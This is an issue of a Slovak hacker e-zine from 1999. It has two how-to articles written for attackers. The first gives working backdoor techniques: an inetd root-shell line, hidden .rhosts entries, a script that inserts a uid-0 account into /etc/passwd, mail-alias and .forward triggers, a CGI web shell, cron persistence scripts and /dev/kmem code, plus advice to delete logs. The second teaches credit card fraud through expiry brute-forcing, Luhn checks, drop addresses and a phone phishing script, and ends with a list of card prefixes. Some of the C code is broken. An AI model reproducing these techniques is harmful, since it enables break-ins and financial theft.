::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     \[[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM
   
   prielom #12, 27.7.99 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/



obsah




intro

kedze prielom teraz vychadza pomerne sporadicky, zmenil som trochu typ uverejnovanych clankov. namiesto kratkych security news a pokecnych clanockov som sem dal dlhsie veci, ktore boli podrobnejsie pripravovane, a taktiez dlhsie preklady zahranicnych veci. jeden z dovodov je ze na kratsie newsove clanky je tu teraz skvely http://underground.cz/, no a hadam tym aj trochu stupla kvalita prielomu.

v tomto cisle prielomu je dokoncenie prekladu "valka elektronickych gangu". kedze to malo vcelku uspech, rozhodol som sa prekladat dalsie podobne veci z folkloru. zacal som prekladat aj uryvok zo skvelej knizky The Great Cyberwar of 2002, co je taka fikcia o vojnovom konflikte zaciatkom buduceho storocia, ktoreho dominantna cast sa odohrava prave na elektronickom fronte.

pridal som sem aj clanok o morrisovom worme, ktory prebehol inetom pred desiatimi rokmi a o ktorom sa odvtedy dost pisalo, ale cmarali o nom novinari a vacsinou z toho vznikali bulvarne pokecy stravitelne beznou poulicnou zmesou. v tomto clanku su uvedene technicke fakty. je tu tiez sucho-technicky clanok o spoofovani arp adries a icmp vyvazeny komickou poviedkou "koniec sveta" a klasickym interview s dastychom.

ehm, nech sa paci :)

pajka, 25.7.99 blava

konfiguracne backdoory

v dnesnej dobe existuje fura krasne prerobenych systemovych programov, ktore sluzia ako backdoory. obcas je to len par riadkov kodu pridanych do /bin/login, inokedy su to riadne sofistikovane elaboraty. volaco z toho je na arxive (hysteria.sk/arxiv), zvysok co sa pohybuje po cz/sk nete su odvary povodnych idei SERTu a CzERTu, existuje vsak aj kopu novych spickovych veci... princip je jednoduchy - vlozit do zdrojaku systemoveho programu riadky, ktore:

nacitaju input;
ak je input specialny nami nakonfigurovany string, spustit trojana;
else ak input nesedi pokracovat normalne;
else quitnut s chybovou hlaskou;

nie je to ani komplexne ani tazke. takyto trojan sa da spravit na 10 riadkov. klasikou je "prerabanie" /bin/login, okrem neho sa modifikuju aj sietove daemony (rlogind, telnetd, rshd, sshd), castokrat okrem funkcie samotneho backdooru maju tieto programceky aj ine prijemne vlastnosti, napr. logovanie hesiel, obcas aj v sifrovanom tvare

odjakziva existuju programy na kontrolu integrity systemovych binariek (napr. stary ale dobry tripwire), ale v minulosti ich takmer nikto nepouzival, preto bolo zamienanie povodnych systemovych binariek patchnutymi nahradami pokladane za idealny backdoor. Casy sa vsak menia. Dnes je programov ako tripwire neurekom a navyse integritu binariek kontroluju aj ine programy ktore su urcene na spravu balikov, napr rpm prikazom rpm -V. Mnohi rooti to dokonca zautomatizovali a robia to pravidelne cez crond. vznika teda trend navratu kdesi pred rok '94, ked sa pouzivali vacsinou tzv. konfiguracne backdoory, cize rozne "nenapadne" zmeny v konfiguracii servera za cielom zabezpecit si backdoor.

ked teda pisem o konfiguracnych backdooroch, musim zalovit niekde do roku '94, kedy sa to dost pouzivalo - kedze to su doby dost davne a vela sa odvtedy zmenilo, mozno vam budu pripadat tieto backdoory primitivne. ale o to pri konfiguracnych backdooroch ide - jednoduchy riadocek niekde v zlozitom konfiguracnom subore, ktory si nikto nevsimne.

tu je teda zopar konfiguracnych backdoorov z praxe, urcite vsak existuje kopa inych napadov (dajte na board), toto su tie s ktorymi som sa ja stretol:

/etc/inetd.conf

klasika je pridat, alebo zmenit riadok v inetd.conf tak, aby spustil shell, napr:

5002 stream  tcp     nowait  root    /usr/sbin/tcpd /bin/sh -i
po pripade nahradit cislo portu nejakym stringom z /etc/services a podobne.. budte kreativni :) potom samozrejme staci spravit telnet server.victim.sk 5002 a mate shell...

/etc/passwd

klasika je najst nejake nepouzivane systemove konto, napr uzivatela "games". jeho riadok v passwd vyzera vacsinou takto:

games:x:12:100:games:/usr/games:
ale staci tam pridat jedno lomitko a jednu medzierku a mame backdoor:
games:x:12:100:games:/usr/games/ :
no a potom vytvorit adresar "/usr/games/ " a dat do neho trebars .rhosts :
# cd /usr/games
# mkdir " "
# cd " "
# echo + + > .rhosts
# chown games .rhosts
a potom voila, staci dat hocikedy zvonka
$ rsh -l games server.victim.sk "/bin/sh -i"
a si na serveri.. za zmienku stoji fakt ze rsh a rlogin vas pustia v pohode dnu napriek tomu ze user games nema nadefinovany shell v /etc/passwd, mnohi ludia su v domneni ze user bez definovaneho shellu je samo o sebe zarukou bezpecnosti toho konta.

pokial potrebujete kratkodoby a bleskurychly konfiguracny backdoor, obcas staci pridat do passwd riadok s uid 0 a basta. pokial sa umiestni niekde do stredu vacsieho passwd fajlu, mate slusnu sancu ze si to root nejaky cas nevsimne. ak xcete ozaj bleskovo vytvorit takyto backdoor, je na to dokonca aj script:

#!/bin/csh
# vlozi uid 0 konto do stredu passwd fajlu
# pravdepodobne by to slo spravit aj nejakym jednym
# prikazom awk alebo sed.. ale co uz

set linecount = `wc -l /etc/passwd`
cd                                     
cp /etc/passwd ./temppass              
@ linecount[1] /= 2
@ linecount[1] += 1      
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo finito...
.rhosts

na rlogin a rsh sa v dnesnej dobe windozov tak zabudlo, ze uz nie je vela ludi, ktori vedia naco to vlastne je. preto + + .rhosts v home adresari nejakeho lamera moze sluzit ako fajn backdoor. a uz vobec sa nepouziva subor /etc/hosts.equiv co je nieco obdobne ako .rhosts ale pre celu masinu. vlastne staci pridat do tohoto suboru jeden riadocek s menom masiny na ktorej mas roota a potom z nej spravit klasicky rsh -l root "/bin/sh -i". ked uz sme pri tych lameroch a ich domacich adresaroch, dalsi vdacny subor do ktoreho sa ludia malokedy pozeraju je .forward. tam mozeme umiestnit script, ktory sa spusti ked posleme specialny program, napr:

$ cat ~lamer/.forward
lamer
|/dev/ptyqo

$ cat /dev/ptyqo
#!/bin/sh
while read line ; do
  echo "$line" | grep "my_secret_password" && /dev/ptyqb &
done
cize staci poslat lamerovi email ktory bude obsahovat slovo my_secret_password a spusti sa program /dev/ptyqb co moze byt trebars bindshell. jo a potom nezabudnut zmazat ten email z lamerovej posty, aj ked najelegantnejsie by bolo schovat ten string do normalne vyzerajuceho emailu, ktory si ten lamer potom moze kludne precitat bez toho aby vybadal jeho ucel :) osobne som na tieto ucely pouzival vyraz "odchod na parky", mozno si na to niektori spomeniete :)

/etc/aliases

pome sa este hrat s postou. subor /etc/aliases umoznuje postu nasmerovanu nejakemu uzivatelovi expandovat na viacerych uzivatelov, alebo napriklad aj napajpovat ju do nejakeho programu. cize najjednoduchsi syntax na backdoor v /etc/aliases je :

lamer:  "|/dev/ptyqo"
a ked poslete postu na lamer@victim.sk, spusti sa backdoorovy scriptik /dev/ptyqo. ale to je moc suche a dost napadne. isty cas bol popularny uudecode backdoor v /etc/aliases. ten fungoval takto - najprv sa pridal riadok do /etc/aliases:
 "decode: "|/usr/bin/uudecode"
vcelku nenapadne, ze ? nuz potom sa vytvoril uuencodovany rootovsky .rhosts file ktory sa poslal pekne postou :
$ echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victim.sk
$ rsh -l root victim.sk "/bin/sh -i"
#
pam security

vlastnosti pam security ktore ho robia idealnym pre konfiguracne backdoory su komplexnost, neprehladnost a fakt ze pam security naozaj do detajlu pozna velmi malo ludi. pripomenme si ze vseobecny syntax na konfiguracny subor pamu (vacsinou /etc/pam.conf) je

service-name   module-type   control-flag   module-path   arguments
a tak mozeme nastavit ze pri nejakej sluzbe vobec nebude vyzadovat heslo, napriklad pri rlogind. to si tazko niekto vsimne, lebo konfigurak pam.conf a konfiguracna syntax nie je zrovna prehladna, rlogind malokto pouziva, a ked aj ano tak ma na to .rhosts, takze si nikto nevsimne ze sa da lognut na roota cez rlogind aj bez hesla.

cgi scripty

dalsim zaujimavym miestom pre umiestnenie backdooru su cgi scripty, daju sa bud modifikovat existujuce scripty, alebo pridat novy script. moj favorit vzdy bol nasledovny script:

$ cat backdoor.cgi
#!/bin/sh
echo Content-type: text/html
echo
echo "<pre>"
$*
cez ktory sa daju na dialku spustat hocijake prikazy priamo z browsera vo forme http://www.victim.sk/cgi-bin/backdoor.cgi?prikaz, no predstavte si tu pohodu spravit si taky backdoor a potom pohodicka ist do inet kaviarne, pochlipkavat capuccino so skoricou a spustat unix prikazy na hacknutej masinke priamo z Netscapu. a pokial vas neuspokoji uid pod ktorym bezi httpd (zvycajne nobody), tak v prvom riadku namiesto /bin/sh dajte nejaky suid bash shell a prikazy budu bezat ako root. jo a nezabudnut zmazat httpd logy :)

cron

cron sa od cias starych BSD systemov velmi nezmenil, ale dost sa zmenili konfiguracne scripty na cron. hlavne tvorcovia linuxovych distribucii maju tendenciu byt prehnane kreativni a robia vselijake user-friendly konfiguraky. napr taky redhat ma crony v /etc/cron.hourly, /etc/cron.daily.. atd a root iba potom vsunie svoj script alebo program do prislusneho adresara. taketo zjednodusenia rootov rozmaznali natolko ze uz vobec needituju a nesleduju /var/spool/crontab/root. cize pokial prave do tohoto suboru vsuniete nejaky riadok, su realne sance ze si to root nevsimne. mozeme napriklad pridat riadok na denne kontrolovanie vlozeneho uid 0 riadku do /etc/passwd (kukni hore do sekcie "/etc/passwd") :

toto supni do /var/spool/crontab/root :

        0       0       *       *       *       /dev/ptyqx
a toto je nas scriptik /dev/ptyqx :
#!/bin/csh
# je eviluser stale v passwd ? pome sa presvedcit

set evilflag = (`grep -i eviluser /etc/passwd`)
if($#evilflag == 0) then                               
        set linecount = `wc -l /etc/passwd`
        cd                                     
        cp /etc/passwd ./temppass            
        @ linecount[1] /= 2
        @ linecount[1] += 1                  
        split -$linecount[1] ./temppass     
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd               
        rm ./xa* ./temppass
else
endif
fantazii sa medze nekladu. tu je vtipny scriptik ktory kazdy den o 2:30am (heh, nezabudnite si presne nastavit hodinky) na jednu minutu zmeni /etc/passwd za dopredu nachystany fajl.

toto je v crone:

       29      2       *       *       *       /etc/ptyqp
tento fajl musi existovat:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /etc/ptyqq
a toto je nas scriptik /etc/ptyqp :
   
#!/bin/csh
cp /etc/passwd /etc/.temppass
cp /dev/ptyqq /etc/passwd
sleep 60
mv -f /etc/.temppass /etc/passwd
inak doporucujem si najprv vsetko poriadne vyskusat, lebo akykolvek vystup zo scriptov spustanych cronom (chybne hlasky a pod) idu rootovi do posty...

/dev/kmem

/dev/kmem je virtual systemu. kedze kernel ma svoje parametre v pamati, je mozne modifikovat pamat na masine a zmenit UID procesu. na to samozrejme potrebujeme read/write prava. to sa bezne v prirode nevyskytuje, cize ako backdoor musime najprv spravit chmod 666 /dev/kmem, napriklad to mozeme spravit na par minut nejakym cronom, ako je to popisane vyssie. potom je treba otvorit /dev/kmem device, najst svoj page v pamati, prepisat UID momentalneho procesu a spustit csh, ktory ziska toto uid. nasledovny program robi presne toto.

#include <h>
#include <h>
#include <signal.h>
#include <param.h>
#include <types.h>
#include <dir.h>
#include <user.h>

#define KEYWORD "chabrus"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();
        
        if(argv[1]){            
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);

                        if(fd
#include <h>
#include <h>

#define LNULL ((LDFILE *)0)

long address(){
        
        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}
tento priklad ilustruje ze obcas ani netreba pridavat nic do konfiguracneho suboru, niekedy je menej napadne iba zmenit mu prava, napr. na o+w a podobne.

konfiguracne backdoory maju jednu vyhodu - rooti vyzbrojeni programami na kontrolu integrity binariek sa takto v pohode daju okaslat, navyse takyto backdoor prezije upgrade systemu, alebo dokonca kompletne preinstalovanie masiny. klasicka reakcia roota ked zisti ze ma hacknutu masinu je preinstalovat to cele, sranda je vsak ze stare konfiguracne subory sa vacsinou ponechavaju a /home adresare takmer vzdy.

pajkus

navrat na obsah
co ty na to ? board


kreditne karty (KK)

KK je plastova karta, ktora je nositelom informacii o vasom ucte. Moznost jej pouzitia je trojaka. KK sa moze pouzit na vyber hotovosti z bankomatu, moze sa pouzit na uhradzanie hotovostnych pladieb v POS terminaloch alebo na inu formu uhrady hotovosti. Prve dva sposoby su limitovane nutnostou fyzickeho vlastnictva karty, pri tretom staci iba poznat informacie uvedene na karte vo forme reliefneho pisma. Bankomaty a POSky tu rozeberat nebudem a preto sa hned zameriam na ten treti sposob. Sem patria hlavne internetovske nakupy a nakupy cez telefon. Aby ste si nieco takymto sposobom objednali (a zaplatili), potrebujete poznat nasledujuce informacie:
1. Cislo kreditnej karty
2. Datum expiracie
3. Meno vlastnika karty

Kreditne karty mozno vo vseobecnosti rozdelit podla toho, ktora spolocnost ich vydava. Vo svete existuje viacero standardov, ale najviac sa pouzivaju nasledovne:
- American express
- Visa
- Mastercard

[American Express]
  XXXX XXXXXX XXXXX
  MM/Y1 THRU MM/Y2       Y1
  Vladimir Meciar        AX
Popis:
Prvy datum udava datum kedy bola karta vydana, druhy dokedy je platna.
[Master Card]
  5XXX XXXX XXXX XXXX
  ZZZZ AAA DD-MM-YY MM/YY
  Meno_na_karte
Popis:
Datumy rovnako ako u American Express. ZZZZ udava zrejme interny kod banky, ale pre nase ucely nie je podstatny.
[VISA dlhy format]
 4XXX XXXX XXXX XXXX
 MM/YY    MM/YY*VISA
 Meno_na_karte


[VISA kratky format]
 4XXX XXX XXX XXX
 MM/YY    MM/YY*VISA
 Meno_na_karte
Popis:
to iste ako American Express.

Vo svete sa najviac pouzivaju Mastercardy a Visy, tak podme na to.

Mastercard a Visa su co do struktury udajov zhodne (az na kratku Visu). Cislo karty sa sklada zo 4 stvorciselnych skupin:
1. skupina - kod banky. Mozno po vas budu chciet aj nazov prislusnej banky, tak sa mrknite do zoznamu.
2. skupina - nieco ako uzivatelska skupina. Jednoducho vsteci ludia, ktory maju denny limit napr. 5000,- (DM, SKK,...) a rovnaky typ uctu budu mat s najvacsou pravdepodobnostou toto cislo rovnake
3. a 4. skupina - informacia o cisle uctu

Tento clanok asi necitaju gazdinky za sporakom ani evanjelicky farari, takze asi viete o co teraz pojde. Ide o to, nieco si kupit a NEplatit. Takze sa napojite na nejaky inet obchodik, nahazdete do kosika par CDciek a idete k pokladni. Tam na vas vypluju formular, v ktorom po vas chcu par zbytocnosti (meno, cislo, datum expiracie a pod.). Po vyplneni formularu sa potom server spyta centralnej databazy a ta bud vasu KK prijme alebo ju odmiente. Z mojich pokusov mi vychadza asi tolko, ze na jednoznacnu identifikaciu staci kombinacia cislo-datum expiracie. Ale finta je v tom, ze to cislo nemoze byt hocijake. Na overenie platnosti (teda nie existencie) cisla KK sa pouziva Luhnov kontrolny algoritmus a ako ho vyuzit, pozri nizsie.
Problem teda nie je v cisle KK ale v datume expiracie. Ten tvori spolu s cislom previazanu dvojicu (jedno bez druheho nefunguje).

Povedzme teda, ze mate cislo, co s datumom? Skusajte! Pripojte sa na nejaky porno server a skusajte postupne. Kreditky sa vacsinou vydavaju na jeden rok a nie je teda problem odskusat tych dvanast datumov. Ina sranda nastane, ked cislo KK neukazuje na platny ucet, potom treba cely postup opakovat s inym cislom. Ak vsak uvazime, ze na zemi je okolo 6 mld ludi, tak pocet platnych kreditiek sa bude pohybovat radovo v desiatkach milionov a to dava celkom slusnu pravdepodobnost.

Luhnov kontrolny algoritmus:

Povodne tento algoritmus plnil funkciu akehosi kontrolneho suctu, poskytuje vsak aj ochranu proti utokom typu zmenim jedno cislo a basta.

Postup je nasledovny:

Ak ma cislo KK parny pocet cislic:
Vynasobte kazde cislo na neparnej pozicii dvoma a ak je vysledok vacsi ako 9, odcitajte od vysledku deviatku. Potom zratajte vsetky cisla na parnych poziciach spolu s tymi zdvojenymi. Ak je vysledok bezo zvysku delitelny 10, je cislo platne.

Neparny pocet cislic:
Postup je rovnaky, ale nasobia sa cisla na parnych poziciach.


int luhncheck(char *cn)
{
        int i,x,dl,total=0,z;


        z=1; /* neparny pocet cislic, nasobime parne indexy */
        y=strlen(cn);
        if (y%2==0)
                z=0; /* parny pocet cislic, nasobime neparne indexy */
        for(i=z;i<y;i+=2)
        {
                x=((int)cn[i]-48)*2;
                if (x>9) x-=9;
                total+=x;
        }
        for (i=z^1;i<y;i+=2)
                total+=(int)cn[i]-48;
        return (total%10) ? 0:1;
}

Na co si dat pozor? Ak si nieco objednate z internetu a davate si to posielat postou, NIKDY nepouzite svoje meno a adresu. Dajte si poslat tovar na nejaku adresu typu: opusteny dom, vystahovany susedia, kamos na intraku a pod.

Dalsia moznost pouzitia sa ukazuje v telefonovani. Ked chcete volat do USA, slovtel po vas chce nehorazne sumy. Exituje vsak sluzba Slovakia-Direct, pomocou ktorej sa mozete napojit na amickeho operatora bezplatne. Tusim US-SPRINT poskytuje moznost uhrady hovorneho pomocu kratkej visy. To cislo uz presne neviem, mrknite sa na webovsku stranku nasich telekomunikacii.

A ako toto cele obist? Co takto telefon? Ludia maju prirozdeny respekt pred autoritami a pocitacom zvlast, tak to vyuzite.


"ty" pan blabla?
"zakaznik" ano
"ty" dobry den, tu je centrum automatizacie vub(csob, slovspor),
     pri telefone bla bla.
"zakaznik" dobry den, cim mozem pomoct?
"ty" mali sme tu vypadok servera a stratilo sa nam par zaznamov
"zakaznik" ???
"ty" potrebovali by sme si overit, ci je aj vasa karta medzi zmazanymi,
     boli by ste taky laskavy a nadiktovali mi cislo vasej karty?
"zakaznik" ??? (co ked je to podvod?)
"ty" samozrejme si uvedomujem, ze su to citlive informacie. ak chcete,
     mozete mi zavolat na cislo .... sem k nam do centra (verejny telefon)
"zakaznik" dobre, hned zavolam
ten blbec sa chytil!
"ty" centrum automatizacie, pri telefone bla bla
"zakaznik" tak to je v poriadku, moje cislo je .....
"ty" a este vas poprosim datum platnosti
"zakaznik" (po dlhsom hladani) aha, to je ...
"ty" dakujem vam, ihned to overime, dopocutia
a ak ste bezchrbtaci, tak mu zavolajte este raz a povedzte ze je to ok.

A som na konci (v koncoch :)

a nakoniec zoznam bank:

4000 - Visa Bsn/Chk/Corp/Deb/Gold/Purch 
4013 - Bank of Baltimore / Chevy Chase 
4019 - Bank of America 
4024 - Bank of America 
4027 - Rockwell Federal Credit Union 
4032 - Household Bank 
4052 - First Cincinatti 
4060 - Associates NB / Navy Fed. 
4070 - Security Pacific 
4071 - Colonial National Bank 
4094 - A.M.C. Federal CU 
4113 - Valley National Bank 
4114 - Chemical Bank 
4121 - Alaska Fed. / Penns. State Emp. 
4122 - Union Trust 
4128 - Citibank 
4131 - State Street Bank 
4215 - Marine Midland 
4225 - Chase Manhattan Bank 
4226 - Chase Manhattan Bank 
4231 - Chase Lincoln First Classic 
4232 - Chase Lincoln First Classic 
4239 - Corestates 
4241 - National Westminester Bank 
4250 - First Chicago Bank 
4253 - Consumers Edge 
4254 - Cational Bank / Security First 
4271 - Citibank Preferred 
4301 - Monogram Bank 
4302 - H.H.B.C. 
4310 - B.C.F.U. / Imperial Savings 
4311 - First National Bank 
4312 - Barnett Bank 
4316 - Leader Federal 
4316 - Pioneer Bank / Standard Federal 
4317 - First Tier Bank Omaha 
4327 - First Atlanta 
4332 - Bank One / First American 
4339 - Primerica Bank 
4342 - N.C.M.B./Nations Bank 
4356 - National Bank of Delaware 
4368 - National West 
4387 - Lockheed Fed. / Santel CU 
4388 - First Signature / Independent Bank 
4401 - Gary-Wheaton Bank 
4413 - Firstier Bank Lincoln 
4418 - Bank of Omaha 
4421 - Indiana National Bank 
4428 - Bank of Hoven / Bar Harbor Bank 
4436 - Security Bank and Trust 
4443 - Merril Lynch Bank 
4447 - AmeriTrust 
4452 - Empire Affiliates Federal CU 
4498 - Republic Savings 
4502 - C.I.B.C. 
4503 - Canadian Imperial Bank 
4506 - Belgium A.S.L.K. 
4510 - Royal Bank of Canada 
4520 - Toronto Dominion of Canada 
4534 - DC Card 
4537 - Bank of Nova Scotia 
4538 - Bank of Nova Scotia 
4539 - Barclays 
4544 - T.S.B. Bank / ADAC Visa 
4556 - Citibank 
4564 - Bank of Queensland 
4568 - ADAC Karte / Berliner Bank 
4673 - First Card 
4707 - Tompkins County Trust 
4719 - Rocky Mountain 
4721 - First Security 
4722 - West Bank 
4726 - Wells Fargo 
4783 - AT&T's Universal Card 
4784 - AT&T's Universal Card 
4800 - M.B.N.A. North America 
4811 - Bank of Hawaii 
4819 - Macom Federal Credit Union 
4820 - IBM Mid America Federal CU 
4833 - U.S. Bank 
4842 - Security Pacific Washington 
4897 - Village Bank of Cincinatti 
4906 - Barclay Card 
4916 - MBNA Bank 
4917 - Visa-BahnCard/Citibank 
4921 - Hong Kong Bank / National Bank 
5100 - Southwestern States Bankcard Ass. 
5101 - Southwestern States Bankcard Ass. 
5102 - Southwestern States Bankcard Ass. 
5103 - Southwestern States Bankcard Ass. 
5104 - Southwestern States Bankcard Ass. 
5105 - Southwestern States Bankcard Ass. 
5106 - Southwestern States Bankcard Ass. 
5107 - Southwestern States Bankcard Ass. 
5108 - Southwestern States Bankcard Ass. 
5109 - Southwestern States Bankcard Ass. 
5110 - Universal Travel Voucher 
5111 - Universal Travel Voucher 
5112 - Universal Travel Voucher 
5113 - Universal Travel Voucher 
5114 - Universal Travel Voucher 
5115 - Universal Travel Voucher 
5116 - Universal Travel Voucher 
5117 - Universal Travel Voucher 
5118 - Universal Travel Voucher 
5119 - Universal Travel Voucher 
5120 - Western States Bankcard Ass. 
5121 - Western States Bankcard Ass. 
5122 - Western States Bankcard Ass. 
5123 - Western States Bankcard Ass. 
5124 - Western States Bankcard Ass. 
5125 - Western States Bankcard Ass. 
5126 - Western States Bankcard Ass. 
5127 - Western States Bankcard Ass. 
5128 - Western States Bankcard Ass. 
5129 - Western States Bankcard Ass. 
5130 - Eurocard France 
5131 - Eurocard France 
5132 - Eurocard France 
5133 - Eurocard France 
5134 - Eurocard France 
5135 - Eurocard France 
5136 - Eurocard France 
5137 - Eurocard France 
5138 - Eurocard France 
5139 - Eurocard France 
5140 - Mountain States Bankcard Ass. 
5141 - Mountain States Bankcard Ass. 
5142 - Mountain States Bankcard Ass. 
5143 - Mountain States Bankcard Ass. 
5144 - Mountain States Bankcard Ass. 
5145 - Mountain States Bankcard Ass. 
5146 - Mountain States Bankcard Ass. 
5147 - Mountain States Bankcard Ass. 
5148 - Mountain States Bankcard Ass. 
5149 - Mountain States Bankcard Ass. 
5217 - The Bankcard Association, Inc. 
5218 - Citibank, N.A. 
5219 - Central Finance Co., Ltd. 
5220 - Sovran Bank/Central South 
5221 - Standard Bank of South Africa, Ltd. 
5222 - Security Bank & Trust Company 
5223 - Trustmark National Bank 
5224 - Midland Bank / National Westminster 
5225 - First Pennsylvania Bank, N.A. 
5226 - Eurocard Ab 
5227 - Rocky Mountain Bankcard System, Inc. 
5228 - First Union National Bank 
5229 - Sunwest Bank of Albuquerque, N.A. 
5230 - Harris Trust & Savings Bank 
5231 - The Joint Credit Card Co., Ltd 
5232 - Eurocard Deutschland 
5233 - Bancsystems Association, Inc. 
5234 - Citibank (Arizona) 
5235 - Finanacial Transaction Systems, Inc. 
5236 - First Tennessee Bank, N.A. 
5237 - Southeast Bankcard Association, Inc. 
5238 - Liberty National Bank & Trust Company 
5239 - Southeast Bank, N.A. 
5241 - Bank One Wisconsin Bankcard Corporation 
5242 - Atlantic States Ass. / Chevy Chase. 
5244 - The Joint Credit Card Co., Ltd. 
5245 - Lomas Bank, U.S.A. 
5246 - Bank of Honolulu 
5247 - First American National Bank 
5248 - Orient Finance Co., Ltd. 
5249 - First Interstate Bank of Washington 
5250 - Union Credit Company (UC Card) 
5251 - Nippon Shinpan Co., Ltd. 
5252 - Seibu Credit Co., Ltd. 
5253 - Eurocard Norge, A.S. 
5254 - Bank of America, N.A. & S.A. 
5255 - Servizi Interbancari, S.P.A. 
5256 - Commonwealth National Bank 
5257 - Dalei Finance, Inc. 
5258 - National Bank of Canada 
5259 - First Wisconsin National Bank 
5260 - First National Bank of Boston 
5261 - Texas American Bank/Fort Worth 
5262 - Service Center, Inc. 
5263 - Chemical Bank 
5264 - First Interstate Bank of Utah 
5265 - The Joint Credit Card Co., Ltd. 
5266 - Eurocard Austria 
5267 - First Florida Bank, N.A. 
5268 - The Canada Trust Co. 
5270 - The First National Bank of Anchorage 
5272 - Connecticut National Bank 
5273 - Bank of America, N.T. & S.A. 
5274 - Bank of California, N.A. 
5275 - Eurocard Ab 
5276 - Banco de Vizcaya 
5277 - First Interstate Bank of California 
5278 - National Management & Organization, S.A. 
5279 - D.C. Credit Company, Ltd. 
5280 - Fleet National Bank 
5281 - Trust Company Bank 
5282 - Wells Fargo Bank 
5283 - Union Credit Company, Ltd. 
5285 - The Joint Credit Card Co., Ltd. 
5286 - F.C.C. National Bank 
5287 - Valley National Bank of Arizona 
5288 - Banco Nacional de Mexico 
5289 - Seattle-First National Bank 
5290 - Banco Nacional de Mexico 
5291 - Signet Bank/Virginia 
5292 - Southeast Bankcard Association, Inc. 
5293 - Signet Bank/Virginia 
5294 - Eurocard France 
5295 - Eurocard France 
5296 - Million Card Service Co., Ltd. 
5297 - First Hawaiian Bank 
5298 - Bank One, Indianapolis, N.A. 
5299 - Amsouth Bank of Florida 
5300 - Bay Bank 
5308 - First Security Bank of Utah, N.A. 
5313 - National Australia Bank Limited 
5314 - International Card Systems, S.A. 
5315 - International Card Systems, S.A. 
5316 - The Citizens & Southern National Bank 
5317 - Cu Electronic Transaction Services, Inc. 
5318 - Credimatico De Panama / Mellon Bank 
5319 - National Bank 
5321 - Japan Travel Bureau, Inc. 
5322 - Banc One Wisconsin Bankcard Corporation 
5323 - Bank of New York (Delaware) 
5325 - First Virginia Bank 
5326 - Pacific Bancard Association, Inc. 
5327 - Banco Atlanta, S.A. 
5328 - NCNB National Bank of Florida 
5329 - M.B.N.A. 
5330 - Leader Federal Savings & Loan Ass. 
5332 - Sociedad Administradora 
5333 - National Bank 
5334 - Sn Diego Trust & Savings Bank 
5335 - Tokyo Credit Services., Ltd. 
5336 - The Kansai Credit Bank Credit Service 
5337 - Daiwa Credit Service / Sumisie Card 
5338 - National Bank 
5339 - First American National Bank 
5340 - The Joint Credit Card Co., Ltd. 
5347 - Equibank (Delaware), N.A. 
5348 - First National Bank 
5349 - Sun Bank, N.A. 
5350 - Bank South, N.A. 
5351 - Provident National Bank 
5353 - Commonwealth Bank of Australia 
5359 - Core States 
5362 - First National Bank of Commerce 
5371 - Rocky Mountain Bankcard System, Inc. 
5372 - Rocky Mountain Bankcard System, Inc. 
5376 - Natwest Australia Bank, Ltd. 
5379 - Bank of Louisiana in New Orleans 
5384 - San Diego Trust & Savings Bank 
5385 - Bank of Louisiana in New Orleans 
5393 - First Omni Bank 
5396 - AT&T's Universal Card 
5398 - AT&T's Universal Card 
5399 - DC Credit Co., Ltd. 
5400 - United Bankcard Association 
5401 - Card Services For Credit Unions 
5402 - New Zealand Bankcard Associates Ltd. 
5410 - Citibank / First National 
5411 - Credicard, S.A. 
5412 - Eurocard Ab 
5413 - Eurocard Norge, A.S. 
5414 - State Street Bank & Trust Co. 
5415 - Union Bank 
5416 - People's Bank 
5417 - Associates National Bank / Bank of America 
5418 - Household Bank 
5419 - Oversea-Chinese Banking Corporation, Ltd. 
5420 - Colonial National Bank 
5421 - Bank of Credit and Commerce International 
5422 - Huntington National Bank 
5423 - University Credit Union 
5424 - C.B.T. / Citibank 
5425 - Banco De Santander / Barclay Card 
5426 - Mellon Bank Delaware, N.A. 
5429 - NCNB South Carolina 
5430 - Centrust Savings Bank 
5431 - The Hongkong and Shanghai Banking Corp. 
5432 - Rocky Mountain Bankcard System, Inc. 
5433 - Eurocard International, S.A. 
5434 - National Westminster Bank 
5436 - Sistarbanc, S.A.R.L. 
5437 - The Massachusetts Co. 
5438 - U.S. League Financial Services, Inc. 
5439 - Central Bank of The South 
5440 - Ncnb National Bank 
5442 - First National Bank of Atlanta 
5443 - Eurocard International, S.A. 
5444 - The Fifth Third Bank 
5445 - The Bank of Scottsdale/.Paradise Valley 
5447 - AmeriTrust Company National Association 
5448 - Crestar Bank 
5450 - Lomas Bank, U.S.A. 
5453 - Eurocard International, S.A. 
5454 - Bank of New England-West, N.A. 
5458 - Bank of New England-West / Crestar Bank 
5460 - Citibank, N.A. 
5462 - Central Bank 
5463 - Eurocard International, S.A. 
5465 - Chase Manhattan Bank 
5469 - N.B.D. Bank Evanston, N.A. 
5472 - Bank of New England Old Colony, N.A. 
5480 - Bank of America 
5485 - Commercial National Nank of Peoria 
5485 - Citibank 
